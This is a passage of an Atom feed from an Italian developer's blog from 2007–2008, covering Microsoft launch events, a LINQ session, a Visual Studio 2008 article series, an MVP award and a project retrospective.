href="http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx"/><issued>2008-03-18T11:15:45+00:00</issued><modified>2008-03-18T11:15:45+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2255.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2255</trackback:ping></entry><entry><title>Real Code Launch 2008: vi aspettiamo l&amp;#224;!</title><id>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx</id><created>2008-03-11T09:25:07+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2250' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Tra qualche ora partir&amp;#242; per Roma per l'evento di domani. Domani sar&amp;#242; infatti presente con tutto lo staff del nostro network alla tappa di Roma del &lt;a href=&quot;http://www.microsoft.com/italy/launch2008/roadshow/default.mspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;2008 Launch Roadshow&lt;/a&gt; organizzato da Microsoft Italia in occasione del lancio dei suoi nuovi prodotti (Windows Server 2008, Visual Studio 2008 e SQL Server 2008). Saremo tutto il giorno in giro per le sale conferenze per incontrare la gente della nostra community, per fare quattro chiacchiere con chi ne avr&amp;#224; voglia e per dare un volto a chi conosciamo unicamente tramite un nickname.&lt;/p&gt; &lt;p&gt;Alla sera ci sar&amp;#224; il &lt;a href=&quot;http://www.microsoft.com/italy/launch2008/xml/after_roma.htm&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Community After Hour&lt;/a&gt; gestito da noi, intitolato &lt;strong&gt;Real Code Launch&lt;/strong&gt;. Inutile dire che si tratter&amp;#224; ancora una volta di un evento della serie &amp;quot;Real Code&amp;quot;, ovvero solo codice, niente slide! Con &lt;a href=&quot;http://blogs.aspitalia.com/sm15455&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Stefano&lt;/a&gt; avr&amp;#242; il piacere di fare una sessione tecnica su LINQ. Non si tratter&amp;#224; della solita presentazione che spiega che cosa sia LINQ, ma di una sessione estremamente pratica in cui risponderemo ad una semplice domanda: &amp;quot;Ora che abbiamo LINQ, come possiamo usarlo davvero nelle nostre applicazioni?&amp;quot;. Del resto il titolo della sessione &amp;#232;: &lt;strong&gt;Real LINQ Applications&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;Vi mostreremo un'ora di esempi di codice e casi di utilizzo reale. Stefano ha preparato molto materiale estremamente interessante, io per l'occasione ho scritto un'intera applicazione utile a presentare un caso significativo di utilizzo di LINQ to SQL. Per chi mi conosce, sa che agli eventi Real Code rilascio sempre una soluzione intera a disposizione dei partecipanti. Anche in quest'occasione sar&amp;#224; la stessa cosa! Chi ha avuto modo di partecipare al Real Code Day 2 ed ha apprezzato la mia sessione architetturale, non pu&amp;#242; mancare a questa... Continueremo il discorso iniziato allora e faremo posto a LINQ to SQL per capirne l'utilit&amp;#224;, l'applicabilit&amp;#224;, i vantaggi e le controindicazioni.&lt;/p&gt; &lt;p&gt;Successivamente all'evento metteremo a disposizione di chi vorr&amp;#224; consultarlo tutto il codice mostrato. Mi risulta che verr&amp;#224; pure fatta una registrazione delle sessioni, ma questo non deve giustificarvi a non partecipare. Ci saranno un sacco di premi e altre sorprese che potrete vedere solo se sarete presenti. Dal momento che le iscrizioni sono chiuse visto che abbiamo raggiunto la &lt;a href=&quot;http://blogs.aspitalia.com/daniele/post2249/lancio-roma.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;quota di 400 iscritti&lt;/a&gt;, qualcuno potrebbe decidere di rimanere a casa perch&amp;#232; non ha potuto iscriversi. Venite lo stesso, facciamo entrare tutti, non mandiamo indietro nessuno. Venite senza timori, ci divertiremo insieme!&lt;/p&gt; &lt;p&gt;Vi aspettiamo l&amp;#224;, non fatevi scrupoli, veniteci a salutare, fatevi riconoscere! Sar&amp;#224; un vero piacere potervi salutare di persona.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx"/><issued>2008-03-11T10:25:07+00:00</issued><modified>2008-03-11T10:25:07+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2250.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2250</trackback:ping></entry><entry><title>Oggi parte lo speciale per il lancio di Visual Studio 2008</title><id>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx</id><created>2008-02-25T09:15:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2244' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Con il mio articolo intitolato &lt;a href=&quot;http://www.winfxitalia.com/articoli/netfx3.5/netfx-35-visual-studio-2008.aspx&quot; target=&quot;_blank&quot;&gt;.NET Framework 3.5 e Visual Studio 2008: cosa c'&#232; di nuovo&lt;/a&gt;&#160;parte oggi lo speciale dedicato al .NET Framework 3.5, Visual Studio 2008, Windows Server 2008 e SQL Server 2008. Il mio articolo vuole essere una sorta di editoriale che introduce lo speciale e che fornisce una panoramica sull'argomento, rimandando agli altri articoli per&#160;ottenere&#160;gli approfondimenti del caso.&lt;/p&gt;&lt;p&gt;Come ho avuto modo di dire gi&#224; &lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx&quot; target=&quot;_blank&quot;&gt;in precedenza&lt;/a&gt;, lo speciale &#232; composto da&#160;dieci&#160;articoli e prevede&#160;la partecipazione di altrettanti autori. La sua durata sar&#224; di due settimane&#160;con la pubblicazione di&#160;un articolo al giorno. Ci sar&#224; un mucchio di roba da leggere nei prossimi giorni... :)&#160;&lt;/p&gt;&lt;p&gt;Visto che ci sono, colgo l'occasione&#160;per dare&#160;a tutti i membri della nostra community appuntamento a Milano gioved&#236; prossimo per l'&lt;a href=&quot;http://www.microsoft.com/italy/launch2008/default.mspx&quot; target=&quot;_blank&quot;&gt;evento ufficiale di lancio&lt;/a&gt; promosso da Microsoft. Io sar&#242; da quelle parti gioved&#236; e probabilmente (purtroppo non sono ancora sicuro)&#160;anche venerd&#236;. Ovviamente poi ci sar&#224; il &lt;a href=&quot;http://www.aspitalia.com/eventi/12/Real-Code-Launch-2008-Roma.aspx&quot; target=&quot;_blank&quot;&gt;Real Code Launch&lt;/a&gt; a Roma, ma questa &#232; un'altra storia che merita un post a parte...&lt;/p&gt;&lt;p&gt;Partecipate in massa anche perch&#232; i premi contenuti nel &lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx&quot; target=&quot;_blank&quot;&gt;kit di partecipazione&lt;/a&gt;&#160;sono davvero notevoli! :P&lt;/p&gt;&lt;p&gt;Intanto buona lettura a tutti!&lt;/p&gt;&lt;p /&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework/&quot; rel=&quot;tag&quot;&gt;.NET Framework&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/.NET_Framework_3.5/&quot; rel=&quot;tag&quot;&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Visual_Studio/&quot; rel=&quot;tag&quot;&gt;Visual Studio&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Windows_Server/&quot; rel=&quot;tag&quot;&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx"/><issued>2008-02-25T10:15:00+00:00</issued><modified>2008-02-25T10:15:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2244.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2244</trackback:ping></entry><entry><title>Lo speciale per il lancio di Visual Studio 2008</title><id>http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx</id><created>2008-02-14T00:15:18+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2224' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;E' con estremo piacere che tramite un &lt;a href=&quot;http://www.aspitalia.com/focuson/1022/speciale-lancio-visual-studio-2008-sql-server-2008.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;focuson su ASPItalia.com&lt;/a&gt; ieri mattina ho avuto modo di dare notizia della nuova iniziativa che stiamo mettendo in piedi in questi giorni in vista dell'imminente lancio di Visual Studio 2008. Si tratta dell'enorme speciale dedicato al .NET Framework 3.5 e dintorni che verr&amp;#224; pubblicato a partire dalla fine del mese di febbraio e che coinvolger&amp;#224; tre dei quattro siti del network, ovvero ASPItalia.com, WinFXItalia.com e il neo-nato LINQItalia.com.&lt;/p&gt; &lt;p&gt;Dieci articoli, uno al giorno, per ben due settimane consecutive! Non era mai capitato prima di fare qualcosa di cos&amp;#236; ambizioso e corposo, ma questa volta abbiamo proprio deciso di esagerare. Come responsabile dell'area articoli di ASPItalia.com mi sono ritrovato a coordinare gran parte delle attivit&amp;#224; di pubblicazione. E' stato ed &amp;#232; tuttora un lavoro molto intenso che ha coinvolto, me compreso, ben dieci autori diversi. A loro va il mio ringraziamento: come sempre ho la fortuna di trovarmi a collaborare con persone con una marcia in pi&amp;#249;, capaci di fare davvero la differenza, il che rende il risultato di quanto facciamo davvero super. Non abbiamo ancora terminato tutto quanto, ma siamo a buon punto e i contenuti che ho avuto modo di leggere finora sono davvero notevoli.&lt;/p&gt; &lt;p&gt;Non mi resta che darvi appuntamento nella sezione articoli a fine mese... Buon lancio e buon speciale a tutti. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx"/><issued>2008-02-14T01:15:18+00:00</issued><modified>2008-02-14T01:15:18+00:00</modified><slash:comments>1</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2224.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2224</trackback:ping></entry><entry><title>Indovina cosa contiene il kit :)</title><id>http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx</id><created>2008-02-09T12:58:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2219' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;I ragazzi di Microsoft Italia si sono inventati una bella iniziativa per promuovere la curiosit&#224; e l'interesse prima dell'evento di lancio di Visual Studio 2008 e del relativo roadshow.&lt;/p&gt;&lt;p&gt;Si tratta di indovinare che cosa conterr&#224; il kit che verr&#224; distribuito ai partecipanti. Ai vincitori verr&#224; regalata una camicia&#160;come quella&#160;degli speaker (nuova!).&lt;/p&gt;&lt;p&gt;Per ulteriori informazioni e per partecipare all'iniziativa, &#232; possibile consulare il post dedicato all'argomento presente&#160;sul &lt;a href=&quot;http://blogs.msdn.com/italy/archive/2008/02/07/indovinate-cosa-conterr-il-kit-che-distribuiremo-al-lancio.aspx&quot; target=&quot;_blank&quot;&gt;Blog di MSDN Italia&lt;/a&gt;. Anche il nostro MVP Lead ha parlato della cosa in un&#160;&lt;a href=&quot;http://blogs.technet.com/alead_msft/archive/2008/02/07/giro-link-in-vista-del-lancio.aspx&quot; target=&quot;_blank&quot;&gt;post del suo blog&lt;/a&gt;... :)&lt;/p&gt;&lt;p&gt;Che dire, un'iniziativa davvero simpatica... Bravi ragazzi!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[UPDATE DEL 09/02/2008]&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Il mistero &#232; svelato. Il kit conterr&#224; quanto segue (un motivo in pi&#249; per esserci):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Windows Server 2008 RTM Enterprise Edition 32 e 64 bit&lt;/li&gt;&lt;li&gt;SQL Server 2008 CTP 5 +&#160; un voucher per richiedere la versione finale&lt;/li&gt;&lt;li&gt;Visual Studio 2008 Standard Edition&lt;/li&gt;&lt;/ul&gt;&lt;p /&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Visual_Studio/&quot; rel=&quot;tag&quot;&gt;Visual Studio&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx"/><issued>2008-02-09T13:58:00+00:00</issued><modified>2008-02-09T13:58:00+00:00</modified><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2219.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2219</trackback:ping></entry><entry><title>MVP per un altro anno</title><id>http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx</id><created>2008-01-02T20:44:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2199' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;&lt;img alt=&quot;MVP Award&quot; hspace=&quot;25&quot; src=&quot;http://www.riccardogolia.it/images/mvp.gif&quot; align=&quot;left&quot; vspace=&quot;25&quot; border=&quot;0&quot; /&gt;Stamattina ho appreso con enorme piacere di aver conseguito per la terza volta il Microsoft MVP Award. La categoria &#232; sempre la stessa, ovvero &amp;quot;Solutions Architect&amp;quot;.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare Microsoft, il nostro MVP Lead nazionale &lt;a href=&quot;http://blogs.technet.com/alead_msft/&quot;&gt;Alessandro Teglia&lt;/a&gt; e tutti coloro che hanno reso possibile questa riconferma.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx"/><issued>2008-01-02T21:44:00+00:00</issued><modified>2008-01-02T21:44:00+00:00</modified><slash:comments>12</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2199.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2199</trackback:ping></entry><entry><title>Storia di un rilascio</title><id>http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx</id><created>2007-12-03T01:00:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2174' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;E' un po' di tempo che non scrivo nel mio blog. Questo &#232; dovuto principalmente al fatto che ultimamente ho avuto molto da fare (e ne avr&#242; fino a fine anno) con un progetto per un grosso cliente (una multinazionale nel ramo farmaceutico). L'obiettivo del mio lavoro &#232; stato quello di creare i presupposti architetturali per un'applicazione enterprise, che, basandosi su un'interfaccia smart-client e integrandosi con il contesto dei servizi aziendali, fornisse supporto alle operazioni di pianificazione e conduzione delle sperimentazioni di laboratorio.&lt;/p&gt;&lt;p&gt;In questo progetto il mio ruolo &#232; stato, manco a dirlo, quello dell'architetto. Ho coordinato un team di 5 persone sugli aspetti tecnici legati allo sviluppo dell'applicazione e sono stato affiancato da due persone dell'azienda, di cui una era il capo progetto e l'altra era il referente tecnico interno (che mi succeder&#224; all'inizio del nuovo anno).&lt;/p&gt;&lt;p&gt;Il team di sviluppo, come detto, &#232; composto da 5 ragazzi, ciascuno proveniente da esperienze molto diverse tra loro, chi ex-developer java, chi ex-sviluppatore python, chi proveniente dal C++ e da VB6, chi developer web con ASP e ASP.NET, chi ex-programmatore in ambiente Dynamics. Insomma, all'inizio del progetto, nessuno era un espertone di applicazioni enterprise in ambito .NET, in particolar modo utilizzando .NET Framework 2.0/3.0 e interfaccia smart-client. Questo avrebbe potuto rappresentare un problema, non lo nego, ma a distanza di tempo posso dire che non &#232; stato cos&#236;.&lt;/p&gt;&lt;p&gt;Per il progetto, iniziato nel lontano mese di luglio, in fase di start-up furono fissate una serie di date per i rilasci intermedi dell'applicazione. Il primo rilascio (Prototipo 1) era previsto per il 30 novembre scorso, ovvero venerd&#236; scorso. Che dire? Ce l'abbiamo fatta, ma &#232; stata dura!&lt;/p&gt;&lt;p&gt;Il progetto &#232; partito un po' in sordina, i requirement non erano chiari e non si riusciva a far decollare le attivit&#224; di sviluppo. Questo periodo di incertezza si &#232; protratto per&#242; per molto, troppo tempo, dal momento che gli analisti americani non riuscivano a fornire informazioni che non variassero nell'arco delle 24 ore. Come team abbiamo trascorso questo tempo definendo gli standard da adottare nello sviluppo, le pratiche operative e la suddivisione dei compiti, preparando l'ambiente di sviluppo e di debug, nonch&#232; approfondendo alcuni aspetti tecnici tramite lo sviluppo di mini prototipi funzionali e facendo formazione tecnica.&lt;/p&gt;&lt;p&gt;Il risultato &#232; stato che a fine ottobre non avevamo ancora una soluzione su cui lavorare e la prima scadenza si stava avvicinando inesorabilmente. Finalmente, dopo una lunga attesa, nella prima settimana di novembre abbiamo avuto il via libera da parte degli analisti e abbiamo potuto cominciare a lavorare su un insieme di requirement sufficientemente stabile da permettere di definire una soluzione applicativa coerente. Inutile dire che, per come erano andate le cose, pochi avrebbero scommesso sul rilascio del primo prototipo entro la data prevista.&lt;/p&gt;&lt;p&gt;E invece il 30 novembre abbiamo rilasciato la versione 1.0.2.20. In venti giorni abbiamo creato una ventina di build, andando a soddisfare tutti i requisiti funzionali previsti per il primo rilascio. Non &#232; stato facile coordinare le attivit&#224;, ma personalmente sono riuscito a dare il giusto ritmo, affiancando nello sviluppo a turno ciascuno dei ragazzi del team. Ad oggi abbiamo una soluzione che si compone di pi&#249; di 600 tipi, considerando anche le classi di unit testing. Da parte mia non mi sono limitato a coordinare, ma ho partecipato attivamente allo sviluppo, realizzando tra l'altro un mini service bus basato su WCF (un layer di integrazione out-of-process) per interoperare coi servizi aziendali del cliente.&lt;/p&gt;&lt;p&gt;Sono molto soddisfatto del lavoro svolto e molto orgoglioso dei ragazzi. Il team ha retto bene, anche perch&#232; so di essere una persona molto esigente. Devo dire per&#242; che, rispetto al passato, ho imparato ad accettare le imperfezioni nel codice, adattandomi alla situazione e lasciando un po' pi&#249; di libert&#224; agli sviluppatori di &amp;quot;sbagliare&amp;quot; e di non seguire ciecamente i dettami architetturali. Proprio per questo, nel prossimo mese avremo da fare un po' di refactoring per consolidare il codice, ma gi&#224; la versione attuale non &#232; male, considerando le premesse e i tempi di sviluppo.&lt;/p&gt;&lt;p&gt;Ciascuno dei ragazzi ha dato il massimo, sono davvero soddisfatto del modo con cui hanno affrontato la situazione. In rigoroso ordine alfabetico, Alessandro, Lorenzo, Luca, Marco e Patrick si sono dati da fare come poche volte ho avuto modo di sperimentare. Se il progetto &#232; stato rilasciato rispettando lo scheduling e contro ogni previsione, il merito &#232; soprattutto loro... Del resto un architetto da solo &#232; come un allenatore senza squadra: non vincer&#224; mai una partita!&lt;/p&gt;&lt;p&gt;Questa esperienza mi ha insegnato molto, non &#232; facile fare i progetti con persone non espertissime, ma non &#232; impossibile. Anche se sulla carta le esperienze delle persone del team non erano delle migliori, la loro voglia di fare, di imparare e l'impegno hanno colmato il gap, ottenendo un risultato al di l&#224; delle aspettative. Come un capitano non pu&#242; scegliersi i soldati per combattere le sue battaglie, cos&#236; come architetto non sempre ho la possibilit&#224; di scegliermi gli sviluppatori con cui fare i progetti dei clienti. A mio avviso, questa &#232; la vera difficolt&#224; del mio lavoro, al di l&#224; degli aspetti tecnici.&lt;/p&gt;&lt;p&gt;A fine mese lascer&#242; il progetto in mano al referente tecnico interno e il team dovr&#224; provare a &amp;quot;camminare&amp;quot; da solo, senza di me. Il mio compito presso il cliente si &#232; esaurito, ma non posso non dire che mi dispiace lasciare un gruppo cos&#236; affiatato e agguerrito. Grazie ragazzi, siete stati grandi!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx"/><issued>2007-12-03T02:00:00+00:00</issued><modified>2007-12-03T02:00:00+00:00</modified><slash:comments>8</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2174.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2174</trackback:ping></entry><entry><title>We Love Raf!</title><id>http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx</id><created>2007-10-17T13:00:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2149' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;&lt;a href=&quot;http://blogs.ugidotnet.org/raffaele&quot; target=&quot;_blank&quot;&gt;Raf&lt;/a&gt; &#232; unico nel suo genere.&lt;br /&gt;Se non ci credete, leggete qui: &lt;a href=&quot;http://www.weloveraf.com/&quot; target=&quot;_blank&quot;&gt;www.weloveraf.com&lt;/a&gt;.&lt;br /&gt;Attenzione: &#232; tutto vero!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Off_Topic/&quot; rel=&quot;tag&quot;&gt;Off Topic&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx"/><issued>2007-10-17T15:00:00+00:00</issued><modified>2007-10-17T15:00:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2149.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2149</trackback:ping></entry><entry><title>Articoli in MSDN su Architettura e OOD</title><id>http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx</id><created>2007-07-18T08:40:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2096' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;In concomitanza con l'ultima uscita della newsletter di MSDN (12 luglio scorso) sono stati pubblicati nel &lt;a href=&quot;http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/default.mspx&quot; target=&quot;_blank&quot;&gt;Developer Center di Microsoft Italia&lt;/a&gt; i miei&#160;ultimi due articoli dedicati ai temi architetturali. Se nelle precedenti&#160;uscite mi sono dedicato prevalentemente alla trattazione di un tema interessante ed esteso come quello dei Design Pattern (serie di sei articoli: &lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/post2013/Articoli-MSDN-Italia.aspx&quot; target=&quot;_blank&quot;&gt;Design pattern per esempi&lt;/a&gt;) usando un approccio pragmatico con tanti esempi di codice a corredo della trattazione teorica, in questa occasione ho preferito scrivere qualcosa di piu' concettuale e astratto.&lt;/p&gt;&lt;p&gt;I due&#160;articoli forniscono tutta una serie di definizioni utili a chiarirsi le idee relativamente all'&lt;a href=&quot;http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/caparch.mspx&quot; target=&quot;_blank&quot;&gt;architettura del software&lt;/a&gt; e al &lt;a href=&quot;http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/responsability.mspx&quot; target=&quot;_blank&quot;&gt;disegno object-oriented&lt;/a&gt;. Nella trattazione di questi argomenti mi sono ispirato a definizioni e classificazioni note in letteratura&#160;usando fonti autorevoli come Roger S. Pressman, Robert C. Martin&#160;e Craig Larman. Nell'articolo dedicato all'OOD non meno importante e' stato il contributo indiretto&#160;di &lt;a href=&quot;http://blogs.ugidotnet.org/luka/&quot; target=&quot;_blank&quot;&gt;Luca Minudel&lt;/a&gt;, compagno di avventure con il wiki di UGIdotNET e con&#160;GUISA (Luca e' citato in fondo all'articolo tra i riferimenti). &lt;/p&gt;&lt;p&gt;Credo che questi articoli, come &lt;a href=&quot;http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/destino.mspx&quot; target=&quot;_blank&quot;&gt;quello di Maurizio Cunico&lt;/a&gt; pubblicato un po' di tempo fa nello stesso contesto, possano essere interessanti per inquadrare meglio le attivita' svolte dall'architetto.&#160;L'articolo di Maurizio, di cui consiglio vivamente la lettura,&#160;e' sicuramente&#160;un buon inizio per cominciare a&#160;chiarirsi le idee sul ruolo dell'architetto.&lt;/p&gt;&lt;p&gt;I miei due articoli hanno, se vogliamo, un taglio piu' accademico, ma ritengo che possano essere non meno&#160;interessanti rispetto a quello di Maurizio, quanto meno per fornire ulteriori spunti di riflessione.&#160;Chi mi conosce, sa che questi temi mi stanno particolarmente a cuore. Spero che gli articoli piacciano, a chi avra' voglia di darmi un feedback, non manchero' senz'altro di rispondere.&lt;/p&gt;&lt;p&gt;Buona estate e buone vacanze a tutti!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Architettura/&quot; rel=&quot;tag&quot;&gt;Architettura&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx"/><issued>2007-07-18T10:40:00+00:00</issued><modified>2007-07-18T10:40:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2096.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2096</trackback:ping></entry><entry><title>E anche per quest'anno abbiamo finito...</title><id>http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx</id><created>2007-06-14T13:11:44+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2080' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p&gt;Con l'articolo del 19 giugno p.v. dedicato alla gestione della persistenza con NHibernate a cura di &lt;a href=&quot;http://www.aspitalia.com/autori/marco_de_sanctis.aspx&quot; 